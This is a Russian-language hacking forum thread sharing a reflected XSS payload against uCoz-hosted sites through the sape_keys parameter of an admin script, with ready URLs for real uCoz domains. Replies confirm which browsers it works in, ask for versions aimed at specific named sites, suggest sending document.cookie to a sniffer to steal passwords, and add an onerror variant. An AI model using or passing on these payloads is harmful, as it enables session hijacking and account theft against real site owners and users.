Ucoz xss

Вот xss найденная мною на юкозе:

Code:

[site.ucoz.ru]/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript:alert()%3E

Пример:

Code:

http://cat.ucoz.ru/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript:alert()%3E

 

Ыыыыыыы))))
Юкоз пахекали=)))

Code:

http://www.ucoz.ru/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript:alert()%3E

Малаца, держи канфетко=)

 

неправда всё работает)

 

В ФФ не пашет

 

В Опере все гуд!

 

пробел надеюсь не забыл убрать, двдрв?)

 

ога..под ие6 пашет...под фф не хочет ^_^

 

гут

 

ff не пашет,на ие 5 и опера 9.62 пашет!

 

...................／＞　 フ.....................
　　　　　| 　_　 _|
　 　　　／`ミ _x 彡
　　 　 /　　　 　 |
　　　 /　 ヽ　　 ﾉ
　／￣|　　 |　|　|
　| (￣ヽ＿_ヽ_)_)
　＼二つ

 

Уже не пашет =(

 

Sasuke-kun, че у тебя не пашет???)
Все там пашет!!!111адинадинадин
Пробелы убери прост

 

дайте пример на сайт prostota.ucoz.org, уж очень хочется посмотреть, а то смотрю и не пашет(

 

всё, понял, а как с ней увести пароль как то можно? снифером трудно будет

 

Пробуй так:
alert(адрес снифера+document.cookie)

 

Реально. Автору зачет.

 

хм..а у меня не пашет,можите дать готовый пример например к сайту naruto-fan.ru он на ucoz'е

 

Для Mozilla Firefox, Opera и некоторых других браузеров успешно работает такая конструкция:

Code:

http://cat.ucoz.ru/admin/ghckh.php?sape_keys="><img src="a"onerror=alert("XSS")>

 

всё пашет и пашет нормально заслужил +

 

уже прикрыли ?(